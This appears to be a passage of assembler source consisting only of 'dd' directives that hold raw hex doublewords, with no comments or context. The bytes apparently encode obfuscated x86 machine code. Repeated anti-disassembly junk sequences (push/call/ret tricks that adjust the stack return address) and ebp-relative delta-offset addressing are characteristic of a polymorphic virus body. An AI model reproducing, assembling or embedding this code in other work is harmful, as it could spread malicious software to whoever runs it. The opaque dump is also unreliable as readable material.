0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 72C35343h dd 0B5896D8Eh, 7E02015h, 6B1BD83h, 750007E0h, 0C5BD8309h dd 7E001h, 53501374h, 1B8C08Bh, 8D000000h, 0E2BB049Dh dd 5BD3FF07h, 0C5BD8358h, 7E001h, 53501174h, 1B8h, 0B59D8D00h dd 0FF07E2B9h, 0F9585BD3h, 1405B529h, 0C08B07E0h, 1C759D33h dd 0BD8307E0h, 7E02DB1h, 0D5840F00h, 23000001h, 0E0252D9Dh dd 6DBD8307h, 7E016h, 1C2840Fh, 95890000h, 7E01B89h, 6870F60h dd 8B000000h, 0E023F995h, 5D9D8907h, 8B07E030h, 0E0166D85h dd 958B5307h, 7E02F81h, 6BBA665Bh, 3E805EDh, 0BF0F0000h dd 61B509D8h, 9007E02Ah, 0FEBA6650h, 820F9030h, 6, 2E3D8D89h dd 858D07E0h, 7E04EA5h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 15h, 0C0C35040h, 659D8B93h, 9007E019h, 0AE9h dd 0DA900900h, 0EBD2A22Eh, 50AD972Bh, 60525052h, 8B310F61h dd 5A585ADAh, 858DF590h, 7E04E83h, 606090F5h, 0BE9h, 0F7B75100h dd 3A0662F2h, 0E15F99C2h, 10E9h, 5FB74900h, 99CD587Fh dd 0CDC4D5D0h, 2C2E3CCDh, 810F61EBh, 2, 50615F50h, 53006A90h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h dd 6F5EB301h, 0BB66A787h, 0D58A224Ah, 188195FFh, 6A07E0h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h dd 0BE7238C3h, 0D08B5223h, 0B1EA815Bh, 831D6895h, 6A0CC4h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h dd 0C52210C3h, 8DD88B66h, 0E04E8385h, 35952907h, 9007E024h dd 0FE8h, 4446800h, 0F046B389h, 0DE5B5F7h, 0FB29B31Ah dd 11E8h, 2F2A8700h, 19BFF7FAh, 6591CD40h, 2E28B5B0h, 11E91AC0h dd 0E0000000h, 18BC9634h, 0EB9D67C9h, 0D7F44D8Ch, 6191B1D5h dd 0F505A5Bh, 58Eh, 8539BB00h, 8B903286h, 29026AD3h, 0E0331DB5h dd 0CDBD8907h, 0FF07E019h, 6AED1495h, 952B6100h, 7E023C1h dd 4EB685C7h, 107E0h, 0BA520000h, 719FBF07h, 880F505Bh dd 2, 3489F18Ah, 85895124h, 7E0316Dh, 67B5895Ah, 6A07E04Eh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 17042444h dd 47000000h, 277DC357h, 14E9A2A8h, 1F000000h, 5696BE6Fh dd 6B5ED7D7h, 78AC9441h, 0E9EC1ABCh, 0FF2FA90h, 68Fh, 0B1BD8900h dd 8307E028h, 0E016B1BDh, 850F0107h, 4Bh, 10E9h, 3EAE3100h dd 438DED70h, 64F45C7Fh, 0C4C406E4h, 5F883D2h, 2D850Fh dd 81660000h, 0B814F5DBh, 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 85C35343h dd 0F4BF3C4Ch, 83B422D9h, 0E005ADBDh, 840F0007h, 61h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 80C35646h, 0C97D21E1h dd 460C40D2h, 8960D88Bh, 0E007759Dh, 0AD95FF07h, 6A07E005h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1D042444h dd 43000000h, 0A2E2C353h, 76853BEh, 215A2A18h, 1F5958Bh dd 0B66107E0h, 5BD83E3h, 7E001h, 2B840Fh, 0F88A0000h, 0B8h dd 11E800h, 599E0000h, 0B3C6B7EAh, 3E092B15h, 2F34F7B9h dd 8005C8A4h, 575B3AF6h, 5BD8950h, 5B07E013h, 9D8B605Ah dd 7E03481h, 8BE7CF80h, 0E0203985h, 85E28007h, 6A02C083h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h dd 40000000h, 4E13C350h, 742BEA45h, 858909B7h, 7E04E5Fh dd 0CE8h, 0EA722C00h, 8B4FAD12h, 1AEDD77Ch, 0C65B93h, 79B589FFh dd 0C607E021h, 0E0075985h, 880F5307h, 5, 0A55BFBBBh, 0D88B6604h dd 4E8h, 0B148D800h, 0EABA66FCh, 0BA6650E8h, 448B7008h dd 0D1BB0424h, 8B7C50C3h, 5BA6600h, 244489F7h, 7C4CBB04h dd 6A587C32h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 18042444h, 40000000h, 6B2CC350h, 0F5C9A2AFh, 292DB5FFh dd 0BD8907E0h, 7E02D2Dh, 7FE8858Dh, 6A07E3h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 6E9D10C3h dd 0F00233Bh, 6AD0FFACh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 18042444h, 47000000h, 88F5C357h, 8B72D8F5h dd 0E016359Dh, 0A9858907h, 6A07E018h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 2CD0C357h dd 0F0634425h, 0DA8166CAh, 0BD83459Ah, 7E033EDh, 0F0850F01h dd 60000000h, 0BE9h, 944ADE00h, 791C9A1Fh, 9B46CC1Dh, 13E96161h dd 3A000000h, 0FAB657Ah, 1F436DA1h, 49BFA773h, 8BD3B033h dd 85C6B7D0h, 7E00759h, 41958B45h, 0E807E02Eh, 4, 0DA6038C2h dd 50D88B66h, 810Fh, 448B0000h, 8B0424h, 9750DABBh, 2444896Bh dd 8FBB6604h, 6A5805h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 140424h, 56460000h, 0B53161C3h, 7E0188Dh, 292DB5FFh dd 0FE907E0h, 0F2000000h, 0DB564207h, 724615F4h, 365B376Ch dd 858D3756h, 7E37FE8h, 0D0FF0EB7h, 30B1958Bh, 6A07E0h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 9CC35141h dd 91358DD7h, 0B681403Dh, 0E8D0FF18h, 14h, 80E25FC4h, 94BDCBE7h dd 0C86CFD38h, 0CA8D2A7Dh, 718B72BFh, 835B33B7h, 0E01029BDh dd 850F0107h, 0D2h, 2FE1BD89h, 895307E0h, 0E02DF585h, 858B5B07h dd 7E02039h, 0A8E4F281h, 99E91F41h, 0F000000h, 58Bh, 0CB2BBA00h dd 895025A7h, 0EE82404h, 89000000h, 1DE0BBDEh, 62F880ADh dd 29CA1F04h, 68F0F6Ch, 89000000h, 0E034958Dh, 146A5A07h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 9DC35040h dd 7F7F1C60h, 95FFF0B8h, 7E018A9h, 24E59D89h, 6A5807E0h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1B042444h dd 47000000h, 950BC357h, 0A29551E4h, 0B70F4727h, 810F60DEh dd 5, 0B74A31BEh, 8A0F0Ch, 61000000h, 0F003880h, 0FFFF6985h dd 60D08AFFh, 1931B589h, 0E78A07E0h, 100C661h, 3618AB2h dd 0E01B759Dh, 0C9BD8307h, 7E011h, 7E840Fh, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h dd 42971AC3h, 378950C6h, 0F3CA804Eh, 6AD98B66h, 55006AFFh dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h dd 12AA1367h, 13E9766Dh, 50000000h, 8BE7C011h, 0CAB28754h dd 0ED502A6Eh, 6BBB776Dh, 95FF9E6Ch, 7E018A9h, 0B9D18B60h dd 2A01386h, 0FFB1E961h, 958BFFFFh, 7E0332Dh, 11C985C7h dd 107E0h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1C0424h, 52420000h, 4F0DD8C3h, 0C77996EBh, 0CEB2F7A6h dd 7359D8Bh, 958907E0h, 7E02C59h, 4E6B8589h, 840F07E0h dd 6, 1569958Bh, 509007E0h, 5A5B5050h, 32CE8090h, 4EC68060h dd 0AE9056Ah, 8F000000h, 0CF275AA8h, 42E9FE33h, 83858D58h dd 6A07E04Eh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1C042444h, 42000000h, 747DC352h, 46E7CF4h, 0BA7B2A9Bh dd 32AA723Ch, 6321BA66h, 14A99589h, 665007E0h, 892F63BBh dd 9E92404h, 0F3000000h, 0C58010D8h, 1F8FD21Eh, 4E73858Dh dd 6A07E0h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h dd 53430000h, 9057D7C3h, 17916F98h, 81539372h, 0ACD749E2h dd 0B6905B33h, 0E96050A0h, 5, 51780708h, 0C576BE41h, 90615F74h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 9BC35242h dd 3DDF672Bh, 0FCFF00Eh, 38Ah, 0D3BF0F00h, 1B8D95FFh, 9D0307E0h dd 7E01655h, 7D778D8Dh, 958B07E0h, 7E02095h, 1174C00Bh dd 4E83858Dh, 0FF5007E0h, 0A18589D1h, 0EB07E04Eh, 0A185C70Ah dd 0FF07E04Eh, 6AFFFFFFh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1B042444h, 41000000h, 0E017C351h, 0DAD586D9h dd 0B70FF1F1h, 9E8D0h, 256A0000h, 5EDB8F2h, 0B604846Fh dd 89515AC3h, 0E02C6185h, 60615A07h, 2AC9858Bh, 0BE907E0h dd 8E000000h, 0CBF3D589h, 3FCC0419h, 0C6618236h, 0E0075985h dd 6A4D07h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h dd 56460000h, 0EF0432C3h, 8D89603Ah, 7E00799h, 10E8h, 1E2A7400h dd 45137829h, 0B540719Dh, 0F6F9B438h, 0A58D89C2h, 5A07E007h dd 942E6861h, 48178CEh, 66E27A24h, 0DAB70F2Bh, 1425B5FFh dd 0B86007E0h, 22612209h, 30319589h, 8D6107E0h, 0E37FE885h dd 0BD8D8907h, 0FF07E004h, 840FD0h, 89000000h, 0E02F7185h dd 1BDA8107h, 0C624E283h, 0E0075985h, 6A4507h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h dd 43514AC3h, 299589E3h, 5107E00Eh, 6850Fh, 0EA810000h dd 154EBA12h, 4E85Bh, 69690000h, 0D68B8E72h, 8B6CB350h dd 0BB042444h, 1C19999Bh, 0CE8008Bh, 76000000h, 0A3E9F1E2h dd 0A3DCEADCh, 0B20DD061h, 44895A0Bh, 0B580424h, 0E018559Dh dd 2DB5FF07h, 6A07E029h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1C042444h, 46000000h, 0FEC6C356h, 3611CE06h dd 561ED07Ch, 68F0Fh, 0B5890000h, 7E02C91h, 0E8858D5Ah dd 6A07E37Fh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 17042444h, 40000000h, 75B6C350h, 60607275h, 2F598501h dd 0BA6607E0h, 896176ACh, 0E02AA995h, 0D0FF6107h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0FDC35545h, 891289C5h dd 0E028FD85h, 25850907h, 8B07E02Ah, 799529D2h, 6607E000h dd 6AD98Ch, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h dd 55450000h, 0FF6967C3h dd 0C488AE33h, 0C2815356h, 5AF3A2E2h, 4C1F65Bh, 229840Fh dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h dd 50400000h, 7907EFC3h, 0E9DAC1A6h, 0FBh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 0EBC35747h, 0CBB66B0h dd 2D958B2Ah, 8B07E02Ah, 0E02A89B5h, 1D958907h, 8107E032h dd 1180C6h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1504h, 0C3504000h, 0BD838E9Fh, 7E01551h, 13850F00h dd 81000000h, 163767F3h, 61E94Eh, 8B520000h, 0E026659Dh dd 3E835A07h, 50840F00h, 66000000h, 7CDDB81h, 0DB52960h dd 0B307E01Eh, 29146A02h, 0E0349595h, 0A995FF07h, 0B07E018h dd 0E00F5D9Dh, 59BB6107h, 0E91C57B7h, 0FFFFFFCAh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0E1C35242h, 7ACF98F0h dd 0C7E7F1D8h, 106h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1A04h, 0C3564600h, 0D5E8A88Dh, 66863ECCh dd 83B983BAh, 0E04E6BBDh, 850F0507h, 0FBh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 14h, 66C35040h, 0FDB58BF5h dd 6A07E028h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 15042444h, 46000000h, 0CA27C356h, 0B9D38B66h, 64h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 7FC35343h, 6B534FE5h dd 958BED64h, 7E018D1h, 0FE83E80h, 2A84h, 0A9958B00h, 0E907E026h dd 2Fh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h dd 0A3C35242h, 80D18B66h, 0FC2057Eh, 4684h, 459D0300h dd 4607E030h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 18h, 1BC35747h, 8AD7B348h, 2ABD8D89h, 0F4907E0h, 0FFFF8F85h dd 0F5BA66FFh, 0B2BA664Bh, 0DE91Ah, 81660000h, 8911ECE2h dd 0E023F5B5h, 58D38B07h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Bh, 0EC35343h, 2F03A488h, 0F87DE3Dh, 0C87h dd 6860F00h, 89000000h, 0E021B99Dh, 819D8907h, 8307E020h dd 0E01285BDh, 840F0007h, 18Ah, 30D5B589h, 896007E0h, 0E000D995h dd 5985C607h, 5407E007h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Dh, 24C35040h, 0CBC587BDh, 0B6272BDBh, 0DA816649h dd 4E83113h, 0F4000000h, 50FF4EBEh, 0FD78B52h, 5B526031h dd 61DA8B66h, 0E850585Ah, 0Ah, 0F3A47804h, 4C5D76E8h, 526014F4h dd 0CFB7BF5Ah, 5B61738Fh, 424448Bh, 815698BBh, 0F008B33h dd 287h, 89D38B00h, 60042444h, 3880Fh, 8B660000h, 6A5861FBh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 14042444h dd 43000000h, 0B7D4C353h, 2DB5FF9Ch, 8B07E029h, 0E8858DDEh dd 6A07E37Fh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1D042444h, 47000000h, 50BDC357h, 47DCEE86h, 102BD665h dd 6AD0FFh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h dd 53430000h, 2BC28CC3h, 5ACAB356h, 6A006Ah, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 0AA7FE1C3h dd 36C25946h, 0B5FFD62Fh, 7E01285h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Dh, 7FC35040h, 9F881F92h, 806A31BFh dd 9D89529Fh, 7E02371h, 8BD0FF5Ah, 6A61D1h, 3E850h, 58200000h dd 448958C3h, 44810424h, 170424h, 50400000h, 3139E3C3h dd 0CA81665Ch, 85C7D656h, 7E012F5h, 1, 7E852h, 6AA10000h dd 0E3B94210h, 8E8C5h, 0F73F0000h, 2ECCE5EAh, 5B5B5BFCh dd 0CD9D0B5Bh, 6007E011h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 16h, 0CDC35242h, 0D2B3207Bh, 349D958Bh, 0A76807E0h dd 81ACAD3Dh, 0C2D92404h, 6A5352h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 180424h, 56460000h, 92DC2BC3h, 0BF0F4D8Eh dd 8BFF6AD7h, 0E195FFDEh, 8907E007h, 0E033F5B5h, 0F3816107h dd 233574E1h, 24048950h, 17F59D2Bh, 858B07E0h, 7E03249h dd 88D9503h, 0C00B07E0h, 26840Fh, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 170424h, 53430000h, 105A13C3h dd 8D95FF92h, 0FC07E000h, 7ED85C7h, 107E0h, 0D38A0000h dd 1DEDBD83h, 0F0007E0h, 3084h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1B04h, 0C3574700h, 0C06BCFEFh dd 8D6116B1h, 79B1BA66h, 137D95FFh, 0B70F07E0h, 0A1BD83D0h dd 7E001h, 0E840Fh, 0FFF90000h, 0E0311595h, 0B8DA8107h dd 0F526ED39h, 1F89BD83h, 0F0007E0h, 6784h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h dd 40B02ACEh, 0C2642ABAh, 6EE3B5BAh, 6DBD8305h, 7E02Dh dd 32850Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 180424h, 56460000h, 0E00B32C3h, 95FF188Dh, 7E02C21h dd 68F0Fh, 85290000h, 7E01495h, 6E9BD83h, 0F0007E0h, 2384h dd 19BD8900h, 8107E01Bh, 0E020F585h, 400307h, 82E78000h dd 23998581h, 400307E0h, 8B660000h, 25DE80D8h, 6A310Fh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h dd 792E93C3h, 0E38D8D6Fh, 8907E05Fh, 3378B301h, 0BD9D8BC2h dd 8907E030h, 8B660441h, 0F5310FD6h, 5FF08D8Dh, 5FBA07E0h dd 890A23AFh, 9958B01h, 6607E030h, 33B13DBBh, 7D9589C2h dd 8907E01Bh, 95330441h, 7E01829h, 1B05BD83h, 0F0007E0h dd 3D84h, 58D8900h, 0FF07E01Eh, 0E00F6995h, 56006A07h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h dd 0FC5C079Ch, 68E0Fh, 9D290000h, 7E02C79h, 0BDADF381h dd 0BD8321B9h, 7E0156Dh, 5C850F01h, 8B000000h, 55E9DFh dd 0BB660000h, 0B58BDEAAh, 7E060BDh, 6C7h, 0B58B0000h dd 7E05F04h, 6C7h, 60CF0000h, 2DCD9529h, 0B70F07E0h, 6A61CEh dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h dd 9A6D4EC3h, 8D8B60C2h, 7E02A15h, 21299533h, 836107E0h dd 0E007EDBDh, 840F0007h, 136h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 16h, 0AEC35646h, 39B2FF5Bh, 0E1858957h dd 5A07E01Dh, 14A1BD83h, 0F0107E0h, 0D585h, 57006A00h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 8BAE8610h, 58D89D0h, 8B07E013h, 0E04E5F8Dh, 57006A07h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h dd 82531856h, 1C6A1B7h, 8D958B00h, 6007E02Eh, 260D9589h dd 3E6807E0h, 8BA8BB8Eh, 240481DEh, 57447242h, 1820Fh dd 6AF50000h, 619D2BFFh, 0FF07E02Ah, 0E007E195h, 68C0F07h dd 8B000000h, 0E0009995h, 95896107h, 7E02065h, 25359589h dd 95FF07E0h, 7E02579h, 0EE9h, 88C04C00h, 534190D6h, 0E58D8735h dd 8BD6F655h, 0E04E5F8Dh, 0FE907h, 690D0000h, 657289E5h dd 0BE9DA013h, 0F5790434h, 0F501FE9Fh, 2879958Bh, 0BD8307E0h dd 7E020A5h, 1F850F01h, 8B000000h, 0E01E0D9Dh, 14E907h dd 5D4F0000h, 3A3627ABh, 70E89D12h, 0EDA701D7h, 86672CAAh dd 0C08B44DBh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 16h, 0DFC35545h, 0BD83728Ah, 7E006B1h, 83097500h, 0E001C5BDh dd 1A740007h, 0C08B5350h, 20F5858Bh, 858907E0h, 7E020F5h dd 0BC629D8Dh, 0D3FF07E2h, 0BD83585Bh, 7E001C5h, 50187400h dd 0F5858B53h, 8907E020h, 0E020F585h, 519D8D07h, 0FF07E2B9h dd 6A585BD3h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 16042444h, 43000000h, 65EC353h, 759D012Eh, 6A07E025h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1D042444h dd 43000000h, 0AE22C353h, 108D6829h, 0C19596EFh, 71953156h dd 5A07E016h, 499503F8h, 8B07E001h, 42D381C0h, 831F8028h dd 0E007EDBDh, 850F0007h, 15h, 24E19D09h, 0BD8307E0h, 7E030E1h dd 2840F00h, 0B7000000h, 0EDBD83ACh, 7E007h, 35840Fh, 0DA810000h dd 4E7E0FA3h, 1085BD83h, 0F0007E0h, 2284h, 50006A00h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h dd 0C10FCBC9h, 8346B7E1h, 0E007EDBDh, 840F0007h, 2Dh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 14C35747h, 0C21AF25Fh dd 1085BD83h, 0F0007E0h, 84h, 0EDBD8300h, 7E007h, 46840Fh dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h dd 56460000h, 4C9B76C3h, 0FF48877Ah, 0BD89E498h, 7E02B1Dh dd 1801BD83h, 0F0007E0h, 0F84h, 0AE900h, 18850000h, 1CBE3518h dd 0DB6C567Dh, 7EDBD83h, 0F0007E0h, 3784h, 0D950100h, 8307E01Ch dd 0E033D1BDh, 840F0007h, 24h, 6F69BB66h, 123D95FFh, 0EE807E0h dd 50000000h, 7ACA0672h, 0CF4EBD95h, 8CFD1850h, 359D8B3Fh dd 5A07E005h, 9D8BC08Bh, 7E021BDh, 6B1BD83h, 750007E0h dd 0C5BD8309h, 7E001h, 53501A74h, 858BC08Bh, 7E02399h dd 23998589h, 9D8D07E0h, 7E2BCC9h, 585BD3FFh, 1C5BD83h dd 740007E0h, 8B535018h, 0E0239985h, 99858907h, 8D07E023h dd 0E2B96A9Dh, 5BD3FF07h, 6820F58h, 23000000h, 0E016B99Dh dd 419D0B07h, 8B07E02Dh, 8364B3C0h, 0E007EDBDh, 840F0007h dd 4D9h, 1D099D2Bh, 0BD8307E0h, 7E033EDh, 31840F02h, 83000000h dd 0E0156DBDh, 850F0107h, 24h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Ch, 0F6C35747h, 30D0CE97h, 0F9CE3EC4h dd 50006A60h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h dd 0C3504000h, 85CCCA28h, 850FAE19h, 6, 199D8D89h, 0B52907E0h dd 7E0312Dh, 4E5F8D8Bh, 6A07E0h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1C0424h, 56460000h, 8ED385C3h, 0C8F72D1Ch dd 0B5890D9Eh, 7E02B69h, 9D8B01FEh, 7E018ADh, 4E8h, 8000h dd 509CB700h, 13E9h, 641EFF00h, 5A55F176h, 0A412AB42h dd 0EDBE148Dh, 4AB636FBh, 424448Bh, 5860Fh, 8FBB0000h dd 8B240833h, 5D31BA00h, 44894903h, 52500424h, 0CE8h, 7D399700h dd 0BCCE8B11h, 0CC847790h, 0D18B66BFh, 0F310F5Bh, 82h dd 58585A00h, 13059589h, 0FF6A07E0h, 18BDB589h, 952307E0h dd 7E01AEDh, 7E195FFh, 0DC8A07E0h, 68D0F61h, 8B000000h dd 0E0047195h, 0DDBD8D07h, 6A07E014h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 22E7C357h dd 80CA8166h, 1C4F8BE7h, 7E8h, 2150EE00h, 0E31E249Eh, 3245958Bh dd 895A07E0h, 0E0227585h, 0B3016A07h, 830F91E1h, 2, 0F502AB6h dd 198Eh, 14E900h, 3F7E0000h, 300156C8h, 6B78D1AFh, 0BB66A88Bh dd 7B23A428h, 5291A0AEh, 0FD1958Bh, 8D5B07E0h, 0E348AD85h dd 6135BA07h, 860F7D4Bh, 0 dd 6AD0FFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h dd 55450000h, 0E624A6C3h, 89204F8Bh, 0E012199Dh, 6A036A07h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 14042444h dd 41000000h, 50FDC351h, 5890Fh, 0A7BB0000h, 890AA309h dd 6A240Ch, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h dd 57470000h, 0ED6094C3h, 8DAC56BDh, 0E348AD85h, 0BBD0FF07h dd 23F9FC48h, 14DDBD8Dh, 6A07E0h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 190424h, 51410000h, 0B663A2C3h, 8BEF649Dh dd 6A1C4Fh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h dd 52420000h, 9D4C14C3h, 607B38B2h, 6850FF5h, 8B000000h dd 0E008D98Dh, 8E96107h, 0A9000000h, 0AEE235E4h, 6A20D2E9h dd 0D38B6601h, 66525091h, 0FCFA7BBh, 0BE831h, 0F8160000h dd 0EAE15B28h, 0E0213A2Fh, 0F525043h, 5B585A31h, 5750585Ah dd 0FE9h, 0CD0E3000h, 4945B7FFh, 99E6D8B9h, 0CB925BBh dd 0B560915Ah, 0D023BE3Bh, 8D6120BDh, 0E348AD85h, 89DE8A07h dd 0E02599BDh, 60D0FF07h, 614CE280h, 6A204F8Bh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h dd 0E74C356h, 0BD017C49h, 7E02CADh, 0AF28166h, 6A036ABAh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h dd 43000000h, 6A70C353h, 24355E59h, 8953C5AFh, 0E026CDBDh dd 51915B07h, 5AD18B66h, 14E850h, 10930000h, 2E3588B5h dd 0A377C54Bh, 0AACDFB92h, 0CC2BC28Ch, 5E9A234h, 1D000000h dd 62F880ADh, 0B589915Ah, 7E01BE1h, 48AD858Dh, 8A0F07E3h dd 3, 0FFD9B70Fh, 55006AD0h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1D04h, 0C3554500h, 7DFFD3E4h, 2805707h, 0D78B05E2h dd 8E9h, 16101E00h, 8B2923B2h, 5F8D8BC6h, 8907E04Eh, 0E019C5B5h dd 6A01FE07h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 15042444h, 42000000h, 7597C352h, 1DE99D03h, 858B07E0h dd 7E04E5Fh, 0CE9h, 0F8A49F00h, 0EFAB8536h, 551348FBh dd 6A00FE34h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 14042444h, 46000000h, 1AEC356h, 0E0199D9Dh, 3016A07h dd 0E02CED95h, 126A6807h, 830FD011h, 14h, 0FE9h, 0F52C0000h dd 0E98FCC74h, 79867521h, 434C3257h, 95240481h, 12FEE8Dh dd 0E01D8185h, 7E907h, 0A3C80000h, 0CAB442Dh, 0B7858DC3h dd 6A07E348h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 18042444h, 46000000h, 815C356h, 89764FC2h, 0E02F6985h dd 82CA8107h, 0FF6E4B75h, 0FE960D0h, 36000000h, 62ADB7D7h dd 8BAEB4A7h, 7D79BC2Dh, 958B5ED1h, 7E028EDh, 0E1BD8361h dd 7E030h, 0BB840Fh, 5E80000h, 8C000000h, 94BF1CA0h, 7399D8Bh dd 515B07E0h, 6850Fh, 0BD890000h, 7E0146Dh, 0B1BD835Ah dd 107E016h, 8F850Fh, 958B0000h, 7E02C59h, 48C18D8Dh, 953107E3h dd 7E011BDh, 1850Fh, 6AF80000h, 53006A03h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 0F49F975Dh dd 14DBB6F9h, 0D7BB0E7Ch, 0B64E67ABh, 89016AA9h, 0E033B5B5h dd 6AD1FF07h, 8AF96001h, 9D8B61C1h, 7E01CE9h, 0FFF9016Ah dd 0AD958BD1h, 0E807E016h, 0F87B6C32h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 19h, 10C35242h, 1F14ECB7h, 0E9206A1Ah dd 0Ch, 88C7FBBCh, 0C42209D7h, 0D211D220h, 95FFFF6Ah, 7E007E1h dd 1591958Bh, 0B807E0h, 89000000h, 0E0228DB5h, 0FC00B07h dd 4684h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1904h, 0C3574700h, 0F9F152AEh, 0D68B1E89h, 9F41BB66h dd 3441BD83h, 0F0007E0h, 1284h, 95FFF900h, 7E018C1h, 0D5DA8166h dd 0A18D8972h, 8B07E028h, 0E0203985h, 0C607h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 7CC35747h, 22A387FBh dd 58F103E6h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 18h, 13C35242h, 9B10998Dh, 0F7F28166h, 0D98C6638h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0F1C35242h, 9C878EECh dd 89FC5C07h, 0E00E15BDh, 0F6D78B07h, 840F04C1h, 72h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 1CC35646h, 0EAAD8F50h dd 30203243h, 618D89F4h, 0E907E010h, 42h, 0E852006Ah, 3 dd 5AC35A20h, 4245489h, 4244481h, 19h, 53C35242h, 0A5B87AAFh dd 89B58B8Ah, 0F07E02Ah, 68Bh, 11850100h, 8107E012h, 1180C6h dd 0A3EE8000h, 6C7h, 895E0000h, 0E03391BDh, 8FBB6607h dd 0F883D1h, 0C10840Fh, 9D8B0000h, 7E02D21h, 0F01F883h dd 1A785h, 35950900h, 0B807E016h, 0 dd 0A7E38166h, 0FC00B63h, 10284h, 55006A00h, 